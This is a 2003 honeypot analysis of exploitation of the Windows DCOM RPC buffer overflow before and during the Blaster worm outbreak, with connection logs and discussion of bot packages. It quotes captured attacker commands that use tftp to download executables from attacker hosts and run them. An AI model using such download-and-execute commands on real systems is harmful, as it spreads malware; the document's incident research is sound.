Revision History:
2 September 2003: Initial post.
3 September 2003: Adding details to IRemoteActivation exploit and references
to DCOM articles
19 November 2003: Reformatting (no content change)
On 16 July 2003, The Last Stage of Delirium Research Group (LSD) and Microsoft "jointly" announced LSD's discovery of an "unchecked buffer" in several versions of Windows, along with patches for most of the affected versions. As LSD noted in their advisory:
The impact of this vulnerability should be considered as critical. Throughout its exploitation, any user can gain complete control over a vulnerable system by the means of a remote attack. By sending specially crafted message to the TCP port 135 of vulnerable Windows system, an attacker can exploit the vulnerability and execute any code with SYSTEM privileges.
Since some technical details were held from the original announcement, this set off several people and groups in search of ways to exploit the unchecked buffer. One of the first widely reported examples (if not the first) was released by the XFocus group on 25 July.
More than three weeks after the initial announcement of the vulnerability, the first worm was released; however, the worm could be said to be the conclusion of the first wave of malware to use this RPC exploit. Anecdotally, it appears to me that the timing of the worm's release actually forestalled efforts by other communities that release malicious software (malware) to take advantage of this vulnerability. A few pieces of malicious software were deployed, and widespread scanning was underway, but widespread exploitation had not yet begun.
Most of the activity observed in the first week or so after the initial announcement of the vulnerability was just port probes -- either a TCP SYN probe or a full connect-disconnect on the port. But no data at the application protocol level was observed. Most likely port scanning was done by several parties in order to characterize how many systems were vulnerable -- at least in the coarse manner of testing for a TCP level response.
After the XFocus group posted proof of concept code on 25 July (and after it was modified by Metasploit), this caused a change in activity that used the XFocus/Metasploit code; however, here where I was receiving data, there was little change in the activity. In fact, the first non-probe connection I received wasn't until early on 29 July (GMT). The XFocus/Metasploit code was a good indication of an impending exploit, so I started implementing a small program that would capture exploit attempts. The first connect looked like this:
07/29/03 03:50:41 GMT: connection to 66.75.XXX.XXX:135 from 66.141.165.222:32847 unhandled RPC interface UUID
This turned to be the endpoint mapper interface.
MSRPC groups functions into interfaces; for more information on the MSRPC specification, click here (table of contents).
The interfaces that are relevant to RPC in general and this exploit specifically are:
These interfaces are poorly documented, but they can be found in a Web search; click here for a link to a post by Jean-Baptiste Marchand, author of a well-known paper on closing ports in Windows 2000 and XP. There has been some discussion about the wire protocol that DCOM uses, including this article published in 1998, and the DCOM Discussion mailing list.
Two of the interfaces were involved in the exploits for this vulnerability: the XFocus/Metasploit one exploited a defect via the ISystemActivator interface, but other code was released that exploited a defect via the IRemoteActivation interface.
With respect to the released exploits -- which ended up being used "as-is" by essentially all the malware released up through the Blaster worm itself -- the XFocus/Metasploit code was the basis for most of the exploits used by different malware (bots/packages, worms).
As mentioned above, the first application-level (RPC being the application) probe received was for the endpoint mapper/RPC portmapper interface. This is often seen when a tool enumerates available interfaces on a remote system. A commonly used tool for this is RPCDump, which actually has two fairly well-known implementations by BindView RAZOR and by Microsoft.
This probe is also sometimes associated with exploits on other ports that Windows systems typically listen on. There were only a couple of these probes -- from the same IP -- along with a few more basic port probes over the next few days:
08/01/03 03:27:11 GMT: connection to 66.75.XXX.XXX:135 from 66.141.165.222:1457 Received RPC bind on endpoint mapper UUID 08/01/03 03:27:11 GMT: session ended 08/01/03 10:00:51 GMT: connection to 66.75.XXX.XXX:135 from 66.141.165.222:37266 Received RPC bind on endpoint mapper UUID 08/01/03 10:00:51 GMT: session ended
If anything, the overall activity remained fairly low.
Even though the activity wasn't widely distributed, people were using the proof of concept code to exploit systems. I didn't receive the first widely reported tool, which was an IRC bot package called Autorooter that was first seen in the early August 2nd timeframe.
I received copies of most of the RPC-based Autorooter files from another person's system after it was reported compromised. This was one of the first packages to receive a fair amount of publicity, due to the wide anticipation of the release of a worm. Aside from the use of the RPC vulnerability -- in this case, the vulnerability in the IRemoteActivation interface -- this was a typical compiled IRC bot package (Sdbot, in this case).
The propagation was commanded by the Sdbot program (Dcomx.exe/Lolx.exe), but was carried by a custom Visual Basic program (Rpc.exe). The Rpc.exe program used a separate C++ Windows program compiled with Visual C++ to exploit one of the RPC vulnerabilities (Rpctest.exe).
What was most revealing was that the elements of the package could have been used to create a worm, but were not. Instead of continuously scanning for vulnerable systems, compromising them, propagating to them, and repeating that sequence on those systems, this malware chose a fairly small IP address range and only propagated the Sdbot program to vulnerable systems. Without the Rpc.exe and Rpctest.exe programs copied to the vulnerable systems, those systems would not "pass the infection" to still others.
(Were it not for the use of the RPC vulnerability, the Autorooter package and files wouldn't have generated any publicity; in fact, malware of its nature was distributed and noted all throughout 2003 without any broad interest.)
In addition, both the Rpc.exe and Rpctest.exe programs were distributed without "support files" necessary for those programs to run. The Rpc.exe program required an OCX to enable Winsock functionality and the Rpctest.exe file was compiled so that it required a separate DLL to provide some basic functions. In the latter case, whoever built the program could have easily made the EXE file such that a separate DLL wasn't necessary, suggesting that it was built and distributed by a novice. (Even a small amount of experience with building programs using Visual C++ would have been sufficient to understand "code generation" compiler options.)
Taken together, the characteristics of the Autorooter files suggested that the RPC vulnerability was viewed as a means rather than an end by the existing community of malware "users." Instead of being interested in releasing a worm with all the attendant publicity -- and subsequent cleanup -- the large existing community of people who used malware for the purposes of things like spam, software piracy, identity theft, and denial of service attacks wanted to use the RPC vulnerability to continue those purposes.
At the beginning of August, the first widely reported malware had been released, but still no worm or any widespread infection ("rooting") of systems. Here, I never saw the Autorooter malware and during the first few days of August, there was still little activity here on TCP port 135. In contrast, traffic used to exploit poorly protected Windows file shares on TCP port 445 was near non-stop (a level reached months earlier and essentially sustained thereafter). Even though the pieces of a "worm" were available, most people with the ability to quickly take advantage of them were not inclined to do so. Most of the people did have the inclination were still getting over their learning curve.
Despite the widely reported, but still sporadic activity, it wasn't until August 5th that I received one of these "attacks." Here's what it looked like in the log from my honeypot program:
08/05/03 06:12:00 GMT: connection to 66.75.XXX.XXX:135 from 68.106.151.116:1969 Received RPC bind on ISystemActivator interface Received RPC request 08/05/03 06:12:01 GMT,68.106.151.116:1969,66.75.XXX.XXX:135,E:\PotStuff\RPCTesting\RPC167D.tmp,1704 08/05/03 06:12:01 GMT: client disconnected 08/05/03 06:12:01 GMT: session ended
Following this connection, the code running on the remote system expected a remote shell to be open on TCP port 4444, as can be deduced from the connection attempts on that port immediately following the connection on tcp/135. Here's the sequence in Zone Alarm's log format; note that in the case of the attempts to tcp/4444, the port was closed, rather than "stealthed," so the typical sequence of three TCP SYN packets were logged:
FWIN,2003/08/05,06:12:00 +0:00 GMT,68.106.151.116:1969,66.75.XXX.XXX:135,TCP (flags:S) FWIN,2003/08/05,06:12:03 +0:00 GMT,68.106.151.116:2033,66.75.XXX.XXX:4444,TCP (flags:S) FWIN,2003/08/05,06:12:03 +0:00 GMT,68.106.151.116:2033,66.75.XXX.XXX:4444,TCP (flags:S) FWIN,2003/08/05,06:12:04 +0:00 GMT,68.106.151.116:2033,66.75.XXX.XXX:4444,TCP (flags:S)
The 1704-byte exploit packet itself was logged to disk for analysis; here's what it looked like. Several things point to this packet being sent from the Metasploit code. The two obvious ones are the return address used and the use of a remote shell on tcp/4444. These can be seen in the Metasploit code, which was originally posted on the Metasploit site, but then replicated elsewhere, such as this post to the Full-Disclosure mailing list.
Eventually, my IP address block was targeted by scans using the exploit tool used by the Autorooter malware. This exploited the other vulnerability that Microsoft patched. These scans were usually marked by a jump in activity as several different IP addresses all scanned an address block at about the same time. After 30 to 45 minutes, the activity ended. Here is what this scan looked like in the log:
08/07/03 01:56:46 GMT: connection to 66.75.XXX.XXX:135 from 213.89.9.67:3765 08/07/03 01:56:47 GMT: client disconnected 08/07/03 01:56:47 GMT: session ended 08/07/03 01:56:47 GMT: connection to 66.75.XXX.XXX:135 from 213.89.9.67:3844 Received RPC bind on RPC management interface 08/07/03 01:56:48 GMT: unhandled RPC packet type 14 08/07/03 01:56:48 GMT: session ended 08/07/03 01:56:48 GMT: connection to 66.75.XXX.XXX:135 from 213.89.9.67:3862 Received RPC bind on IRemoteActivation interface Received RPC request 08/07/03 01:56:49 GMT,213.89.9.67:3862,66.75.XXX.XXX:135,E:\PotStuff\RPCTesting\RPC7B2.tmp,1010 08/07/03 01:58:19 GMT: session ended
In this case, the exploit program binds to the RPC management interface (UUID = afa8bd80-7d8a-11c9-bef4-08002b102989) and then requests an "alter context" to the IRemoteActivation interface. Since this request wasn't handled by my honeypot, the program "downmoded" to a direct bind to the IRemoteActivation interface before sending the request packet with the exploit; click here to see the packet.
Immediately following this set of connections and the transmission of the exploit packet, a separate connection was logged on TCP port 57005. This was identical to the behavior reported by the Rpctest.exe tool used by the Autorooter package. By this time, I had set up something to log activity on some of the backdoor ports used by the remote shells. In this case, a command sequence was transmitted (formatting added):
del valsys.bat echo tftp -i 213.89.9.67 GET gmsys32.exe gmsys32.exe >> valsys.bat echo attrib -r gmsys32.exe >> valsys.bat echo gmsys32 >> valsys.bat echo del valsys.bat >> valsys.bat valsys
Basically, this deletes any existing batch file -- in case the target system was already partially infected -- and then creates a new batch file which downloads the gmsys32.exe file from the source IP, executes the file, and then deletes the batch file. The gmsys32.exe file is a package file containing a typical mIRC script bot package; again, the exception was that this bot package had been modified to use the RPC vulnerability for distribution. I posted some details about this event to the BroadbandReports.com.
There were probably several tools built to test for the RPC vulnerability; I saw a couple of scans from these tools beginning on August 9th. Here's what a scan from the ISS scanner looked like; this was the first scan I received from this scanner. Subsequently, my honeypot program was updated to handle this more gracefully:
08/09/03 19:04:58 GMT: connection to 66.75.XXX.XXX:135 from 66.56.92.194:1911 Received RPC bind on IRemoteActivation interface Received RPC bind on ISystemActivator interface RPC bind on unknown interface UUID = '0a24420a-1700-4121-2e48-011d130b044d' RPC bind on unknown interface UUID = '975201b0-59ca-11cf-a8d5-00a0c90d8051' Received RPC request 08/09/03 19:04:58 GMT,66.56.92.194:1911,66.75.XXX.XXX:135,E:\PotStuff\RPCTesting\RPCC67.tmp,170 08/09/03 19:06:28 GMT: session ended
Without seeing any accompanying activity, it's more difficult to determine what the intent of these scans were. While it's likely that the tool was used for information gathering, it's possible that this information could be used "just" to see how vulnerable a netblock was or it could be used to scout netblocks for future targeting by malware.
The activity I noted on my IP address changed abruptly in the hours just before the Blaster worm was released on August 11th. Given that this change occurred ahead of the Blaster worm's widespread infection of systems, it appears to me that, in a perverted way, the Blaster worm largely ruined the chances for malware users to take full advantage of the RPC vulnerability. (While there are thousands and thousands of systems that are still vulnerable, the scope of the vulnerability has been reduced due to the scrambling and actions required to contain the spread of the worm and the damage it produced.)
Up until the early morning hours of August 11th (GMT/UTC), I had seen only two malware packages. As mentioned before, by this time exploits were occurring all over the Internet; however, they had still not risen close to a level where the activity was occurring everywhere simultaneously -- as other types of attacks were (such as those that continue from the Opaserv worm or from IRC bots scanning for open Windows file shares).
Beginning at 2 am I started receiving the XFocus/Metasploit exploit packets and on tcp/4444, I received these two commands:
tftp -i 0.0.0.0 GET winlogin.exe start winlogin.exe
This was a new bot, which ended up being labelled "RPC Sdbot" (although different anti-virus vendors gave it different names). At this point, the bot still had the obvious defect above that prevented it from propagating.
Unlike other "attacks" which had short lifetimes, infection attempts continued for several hours until the Blaster worm arrived.
At 5 am, I received the same XFocus/Metasploit exploit packet and subsequent connect on tcp/4444.
08/11/03 04:59:31 GMT: connection to 66.75.XXX.XXX:135 from 63.187.169.207:4735 Received RPC bind on ISystemActivator interface Received RPC request 08/11/03 04:59:34 GMT,63.187.169.207:4735,66.75.XXX.XXX:135,E:\PotStuff\RPCTesting\RPC1C32.tmp,1704
In this case, I received these commands to download a bot package from a central "server.":
cd "\windows" tftp -i thanksman.dyndns.tv GET syst32.exe start syst32.exe
Interestingly, this technique is often used by trojan horse downloader programs that are pushed onto unprotected Windows systems. In that case, though, the downloaders use the equivalent of a Web browser to download and execute the program via HTTP. Often those web sites with the full malware package are taken offline when too many compromised systems attempt to download the malware. A similar behavior was observed here, except that using the TFTP protocol probably further limited the distribution of this malware package. Repeated attempts to download this package timed out in the hours prior to the Blaster worm outbreak, probably indicating that the bot package was a failure.
A few hours before the Blaster worm hit here, I received an infection attempt from a third bot package:
08/11/03 14:19:40 GMT: connection to 66.75.XXX.XXX:135 from 68.1.136.163:4122 Received RPC bind on ISystemActivator interface Received RPC request 08/11/03 14:19:40 GMT,68.1.136.163:4122,66.75.XXX.XXX:135,E:\PotStuff\RPCTesting\RPC1EFF.tmp,1704 08/11/03 14:19:40 GMT: client disconnected 08/11/03 14:19:40 GMT: session ended
Again, the XFocus/Metasploit code was being used; the new bot commands on tcp/4444 were these:
cd "\Documents and Settings\All Users\Start Menu\Programs\Startup\" tftp -i rpc.afraid.org GET spynew.exe
In this case, a "start" command was not received, although it may have been sent (the last command was received as the connection was timed out).
Again, as with the "syst32.exe" bot, repeated attempts to download this package timed out before the Blaster worm hit my netblock about three hours later.
So in about 12 hours, three separate bot packages were received. This is not unique and was probably recorded in other netblocks much earlier; however, it did provide evidence that the RPC vulnerability was starting to be unleashed on a much more broad scale.
The first Blaster worm hit I received (by no means an early attack) was at 17:24 GMT. (The second was 5 seconds later.)
08/11/03 17:24:49 GMT: connection to 66.75.XXX.XXX:135 from 66.75.133.46:1155 Received RPC bind on ISystemActivator interface Received RPC request 08/11/03 17:24:54 GMT,66.75.133.46:1155,66.75.XXX.XXX:135,E:\PotStuff\RPCTesting\RPC2064.tmp,1704 recv error 10053: An established connection was aborted by the software in your host machine. 08/11/03 17:24:54 GMT: session ended
After these attacks began, no further activity from the three bots was noted. This was due to the high local activity from the Blaster-infected systems, which went on for about 12 hours before my ISP began filtering traffic to and from all the ports related to the RPC vulnerability. At that point, further infections were unlikely and no packets were recorded during the ten day period in which the ports were filtered.
In addition to the local filtering, the design and coding style of the Blaster worm made its presence on a local system much more overt than other malware. Widespread reports of local system reboots on Windows XP indicated that it was difficult for many system owners/operators -- even those who were oblivious to or neglectful of computer security -- without acting to secure their system(s) from the worm. Many people finally installed the Microsoft patch, while others may have installed "firewall" software or bought a hardware "firewall." And anti-virus software was likely installed or updated -- both in response to the Blaster worm and the unrelated Sobig.F mass e-mail worm.
All of these factors conspired to considerably limit the opportunities that malware users had to exploit the RPC vulnerability following the Blaster worm's release. (And I believe that this was one of the intentions of the author of the worm.)
Since my ISP removed port filtering from my local netblock, I have received a constant stream of "attacks" from systems infected with the Blaster worm, its hex-edited variants, and -- more prominently -- the Nachi/Welchia worm.
Aside from one short sweep by the same bot derived from the "Autorooter" files, I have not noted the presence of any old or new bots. This is not an indication that bots don't exist, but rather, I believe it indicates that their numbers and their reach have been blunted.
It is still too early to determine whether if/when there will be a subsequent "wave" of new malware that takes advantage of the RPC vulnerability.